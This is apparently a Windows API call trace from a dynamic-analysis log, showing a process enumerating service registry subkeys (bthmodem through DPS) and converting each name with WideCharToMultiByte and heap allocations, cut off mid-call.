[0241.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0241.636] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.636] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.636] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.636] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.636] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0241.636] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.636] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0241.636] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.636] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.636] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.636] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.636] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0241.636] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.636] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0241.636] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.636] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.636] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.636] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.636] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0241.636] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.636] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0241.636] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.636] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.636] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.636] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.636] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0241.636] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.637] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0241.637] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.637] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.637] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.637] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.637] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0241.637] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.637] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0241.637] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0241.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0241.637] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0241.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0241.637] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0241.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0241.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x21f1928, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0241.638] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0241.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0241.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x21f1a90, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0241.638] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0241.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0241.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x21f1928, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0241.638] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0241.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0241.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x21f1a90, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0241.638] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0241.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0241.638] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0241.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0241.638] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0241.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0241.639] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0241.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0241.639] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0241.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x21f1928, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0241.639] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0241.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0241.639] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0241.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0241.640] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0241.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0241.640] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0241.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0241.640] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0241.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0241.640] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0241.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x21f1928, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0241.641] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0241.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0241.641] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0241.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x21f1928, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0241.641] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0241.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0241.641] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0241.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0241.641] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0241.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0241.642] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0241.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x21f1928, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0241.642] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0241.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0241.642] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0241.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0241.642] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0241.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0241.642] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0241.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0241.642] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0241.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0241.643] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0241.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, 